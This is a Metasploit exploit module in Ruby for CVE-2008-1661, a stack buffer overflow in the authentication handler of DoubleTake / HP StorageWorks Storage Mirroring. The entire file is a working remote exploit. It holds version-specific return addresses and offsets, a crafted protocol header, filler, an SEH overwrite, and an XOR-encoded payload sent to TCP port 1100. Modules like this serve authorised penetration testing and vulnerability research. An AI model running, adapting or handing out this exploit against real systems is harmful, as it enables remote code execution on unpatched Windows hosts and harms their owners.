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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the authentication mechanism of
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          NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
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          was found by Titon of Bastard Labs.
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      },
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      'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
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      'References'     =>
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        [
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          ['CVE', '2008-1661' ],
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          ['OSVDB', '45924' ],
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        ],
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      'Privileged'     => false,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 500,
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          'BadChars' => "\x00",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['doubletake 4.5.0',      { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
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          ['doubletake 4.4.2',      { 'Ret' => 0x0074e307, 'Offset' => 944  } ],
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          ['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2008-06-04'
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      ))
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    register_options(
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      [
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        Opt::RPORT(1100)
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      ])
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    header =
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      "\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
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      "\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
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    xor = Rex::Encoding::Xor::Byte
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    filler =  rand_text_english(1) * (target['Offset'])
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    seh = generate_seh_payload(target.ret)
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    buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
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    sploit =  header + filler + buffercoded[0]
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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